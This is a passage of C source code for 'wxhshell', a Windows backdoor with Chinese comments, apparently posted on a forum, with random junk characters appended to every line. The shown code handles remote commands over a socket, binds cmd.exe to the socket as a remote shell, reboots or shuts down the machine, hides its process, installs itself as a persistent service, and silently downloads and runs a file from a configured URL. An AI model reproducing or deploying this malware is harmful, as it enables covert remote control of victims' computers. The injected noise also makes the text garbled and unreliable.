  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V5hp Y ]  
  } ZE5-i@1  
  else { ;mCGh~?G  
+OV%B .  
    switch(cmd[0]) { l:>qR/|m  
  ctnAVm  
  // 帮助 \9&YV;Ct  
  case '?': { :< KSf#O  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p{\qSPK  
    break; ]w1BJZa36  
  } 4WBo ZJ  
  // 安装 %!N2!IiVs  
  case 'i': { iKR8^sj7S  
    if(Install()) g_-?h&W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H24ate?t,  
    else @g@ fL%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _47j9m]f  
    break; r"Hbr Qn  
    } X^?|Sz<^E  
  // 卸载 7]<F>97  
  case 'r': { vV$hGS(f~  
    if(Uninstall()) p*(U*8Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M ,.0[+  
    else )'/nS$\E:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j\jL[hG_  
    break; x mrugNRg  
    } WrIL]kJw^  
  // 显示 wxhshell 所在路径 6Zl.Lh  
  case 'p': { a:(: :m  
    char svExeFile[MAX_PATH]; "(HA9:  
    strcpy(svExeFile,"\n\r"); |wyJh"4!  
      strcat(svExeFile,ExeFile); yhJA;&}>  
        send(wsh,svExeFile,strlen(svExeFile),0); ;r0|_mnf  
    break; 0|K/=dh5+  
    } 4EaS g#  
  // 重启 .O@q5G  
  case 'b': { {7ZtOe  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K%aPl~e  
    if(Boot(REBOOT)) #w%a m`+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =+SVzK,+3  
    else { YI? C-,  
    closesocket(wsh); Nv*E .|G  
    ExitThread(0); S4aHce5PXA  
    } a V+o\fId  
    break; 2f}K #i8   
    } )Yy#`t  
  // 关机 ,_5YaX:<4  
  case 'd': { ZmYSi$B  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e$FAhwpon  
    if(Boot(SHUTDOWN)) D=q;+,Pc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O[5_ 9W 4  
    else { d-#u/{jG)  
    closesocket(wsh); #*7/05)  
    ExitThread(0); FJwZo}<6E  
    } mV! @oNCK  
    break; ~T p8>bmSR  
    } |4?}W ,  
  // 获取shell CLFxq@%nu~  
  case 's': { jmk*z(}#:  
    CmdShell(wsh); 8R??J>h5\  
    closesocket(wsh); avbr7X(  
    ExitThread(0); S$kuhK>W!  
    break; 6iV"Tl{z-  
  } 9wYtOQ{g  
  // 退出 JtrDZ;^@  
  case 'x': { c|!A?>O?i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zvK5Zxl  
    CloseIt(wsh); 8KL_PwRX_f  
    break; +{=_|3(  
    } \+evZ{Pu  
  // 离开 =p&'_a^$  
  case 'q': { 8#d1}Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *?R\[59  
    closesocket(wsh); !=h|&Vta  
    WSACleanup(); h^ecn-PC  
    exit(1); E;GR;i{t  
    break; w?$u!X  
        } 8t*%q+Z  
  } ek;&<Z_ ]  
  } N|Cy!E=d  
#@\NdW\  
  // 提示信息 afP&+ 5t@O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UmD-7Fd  
} %&=(,;d  
  } rJc)< OZjT  
G=bP<XF  
  return; 8HRPJSO~g  
} V^$rH<  
v(Zi;?c  
// shell模块句柄 {i%x s#0h  
int CmdShell(SOCKET sock) "aCb;2Rs  
{ CAo )v,f  
STARTUPINFO si; DP6{HR$L  
ZeroMemory(&si,sizeof(si)); J PzQBc5e  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s eZ<52f2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *_).UAP.  
PROCESS_INFORMATION ProcessInfo; ch,Zk )y:_  
char cmdline[]="cmd"; D`~{[cv)\  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iP? ASqo{  
  return 0; 5q_OuZ/6  
} Uh|__DUkh  
r)#"$Sm  
// 自身启动模式 )`+@j.75  
int StartFromService(void) @aV~.!!  
{ Vg,>7?]6h  
typedef struct q V UUuyF  
{ wq_oh*"  
  DWORD ExitStatus; Y1E>T-Ma  
  DWORD PebBaseAddress; q[|`&6B  
  DWORD AffinityMask; 3Llj_lf  
  DWORD BasePriority; Zqs-I8y  
  ULONG UniqueProcessId; a6k(O8Ank3  
  ULONG InheritedFromUniqueProcessId; _9-D3_P[3  
}   PROCESS_BASIC_INFORMATION; /E4}d =5L  
Z/05 wB  
PROCNTQSIP NtQueryInformationProcess; C}P \kDM  
?'/5%f`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ox=7N{+`J  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F)5B[.ce  
!|:q@|- %@  
  HANDLE             hProcess; t|U2 ws#  
  PROCESS_BASIC_INFORMATION pbi; QH' [ (  
n\"LN3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7" STS7_  
  if(NULL == hInst ) return 0; $H:h(ia:  
Qdr-GODx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -z 5k4Y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nM.?Q}yO~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nj-rZ%&  
c.{&~  
  if (!NtQueryInformationProcess) return 0; h. (;GJO  
cD`O+WA2K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gx a.<E^k  
  if(!hProcess) return 0; BfE-s<  
nC!^,c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \;:@=9`  
pOI`,i}.  
  CloseHandle(hProcess); \y )4`A  
PLD'Q,R  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b}L,kT  
if(hProcess==NULL) return 0; %FWfiFV|<  
(F '  
HMODULE hMod; 8~Hs3\Hp  
char procName[255]; 'kg]|"M  
unsigned long cbNeeded; S}[:;p?F`  
(DMnwqr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6BN(^y#-X  
j _9<=Vu  
  CloseHandle(hProcess); >.wd)  
#M^Yh?~%w  
if(strstr(procName,"services")) return 1; // 以服务启动 ;6 qdOD6  
*;yMD-=  
  return 0; // 注册表启动 o4 g  
} {ZM2WFpE  
zu*G4?]~h  
// 主模块 e, 0I~:  
int StartWxhshell(LPSTR lpCmdLine) 6N+)LF}P b  
{ F4<2.V)#-  
  SOCKET wsl; g#%FY1xp  
BOOL val=TRUE; E,"btBg  
  int port=0; MirBJL  
  struct sockaddr_in door; 8Gg/M%wq9U  
ZUJOBjb` K  
  if(wscfg.ws_autoins) Install(); c2mt<DtWW  
Ru')X{]25  
port=atoi(lpCmdLine); )zt4'b\)v  
RrpF i'R  
if(port<=0) port=wscfg.ws_port; "sx&8H"  
9w<Bm"G  
  WSADATA data; 1HWJxV"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @OY-(cW  
0\ w[_H  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *#^1rKGWK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OHnjI> /  
  door.sin_family = AF_INET; \Y[)bo6s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (4f9wrK  
  door.sin_port = htons(port); "3oU (RA  
49fq6ZhO  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <m:wuNEM  
closesocket(wsl); M*6@1.n  
return 1; NP'DuzC  
} 4"(zi5`e  
OLup`~  
  if(listen(wsl,2) == INVALID_SOCKET) { G(\1{"!  
closesocket(wsl); }~'Wz*Gm  
return 1; "}+/ 0$F  
} ;L%~c4`l~m  
  Wxhshell(wsl); vGHYB1=~  
  WSACleanup(); T>%ny\?tHW  
JsEEAM:w  
return 0; 'R'a/ZR`B7  
s'Q^1oQM2h  
} l4reG:uYG  
'0$[Ujc  
// 以NT服务方式启动 SY)$2RC+}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ",V5*1w  
{ &E`Z_} ~  
DWORD   status = 0; "$pg mf2  
  DWORD   specificError = 0xfffffff; U?j>28  
PSR `8z n  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y(Ezw !a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~'.yhPo g  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Fh $&puF2  
  serviceStatus.dwWin32ExitCode     = 0; 9?$!=4  
  serviceStatus.dwServiceSpecificExitCode = 0; k+M-D~@5H  
  serviceStatus.dwCheckPoint       = 0; dKTAc":-}  
  serviceStatus.dwWaitHint       = 0; `2+e\%f/0  
|6^ K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z?' |9FM  
  if (hServiceStatusHandle==0) return; ea>\.D-S  
B&N&eRAE  
status = GetLastError(); Z`c{LYP,y"  
  if (status!=NO_ERROR) v nC&1  
{ QXj(U&#rp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S5a<L_  
    serviceStatus.dwCheckPoint       = 0; qDd/wR,44  
    serviceStatus.dwWaitHint       = 0; /mu4J|[[  
    serviceStatus.dwWin32ExitCode     = status; dKpa5f7  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,x.)L=Cx8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_|FsQ6$P  
    return; ta., 4R&K  
  } n`Iy7X  
3*2pacHpE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; E}&jtMRUt  
  serviceStatus.dwCheckPoint       = 0; }_;!E@  
  serviceStatus.dwWaitHint       = 0; !r0P\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zRFM/IYC  
} &:K?-ac  
V <pjR@  
// 处理NT服务事件,比如:启动、停止 pPp nO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Lta\AN!c  
{ ye2Oh7  
switch(fdwControl) )1 j2  
{ M6#(F7hB  
case SERVICE_CONTROL_STOP: [`\Qte%UH  
  serviceStatus.dwWin32ExitCode = 0; 'FFc"lqj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {o%R~{6  
  serviceStatus.dwCheckPoint   = 0; .Kwl8xRg  
  serviceStatus.dwWaitHint     = 0; L(8dK  
  { uI&M|u:nT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xR`2+t&t  
  } jpv,0(  
  return; E/']M~Q  
case SERVICE_CONTROL_PAUSE: 6J+ZeBk??  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9(j!#`O7&  
  break; 6E]rxps}"  
case SERVICE_CONTROL_CONTINUE: zAUfd[g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TeqsP1{?  
  break; Q*(o;\s  
case SERVICE_CONTROL_INTERROGATE: ? d\8Q't*  
  break; Ntiz-qW  
}; x)L@x Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IyP].g1"U  
} X&Lt?e,&  
/Ql}jSKi  
// 标准应用程序主函数 zUqDX{I8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rSn7(3e4^  
{ epyfgg MT  
 c @fc7  
// 获取操作系统版本 j]&{ @Y  
OsIsNt=GetOsVer(); G].KJ5,y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }L9j`17  
`Cxe`w4  
  // 从命令行安装 o w[qpP[  
  if(strpbrk(lpCmdLine,"iI")) Install(); p]4 sN  
3IFU{0a`  
  // 下载执行文件 UI;{3Bn  
if(wscfg.ws_downexe) { Lai"D[N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Shz;)0To  
  WinExec(wscfg.ws_filenam,SW_HIDE); m@~x*+Iz  
}  U2$T}/@  
I r~X#$Upc  
if(!OsIsNt) { n]Y _C^  
// 如果时win9x,隐藏进程并且设置为注册表启动 }DaYO\:yK*  
HideProc(); kM`#U *j  
StartWxhshell(lpCmdLine); 9l]IE,u  
} 3(5Y-.aK}^  
else 9<S-b |!@  
  if(StartFromService()) D9 en  
  // 以服务方式启动 ? Q}{&J  
  StartServiceCtrlDispatcher(DispatchTable); >B7OTGw  
else ]mA?TwD  
  // 普通方式启动 q =6 Y2Q  
  StartWxhshell(lpCmdLine); 7i.aZ2a%  
sSUd;BYf  
return 0; aDuanGC/V  
}
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只看该作者 1 发表于: 2006-10-10
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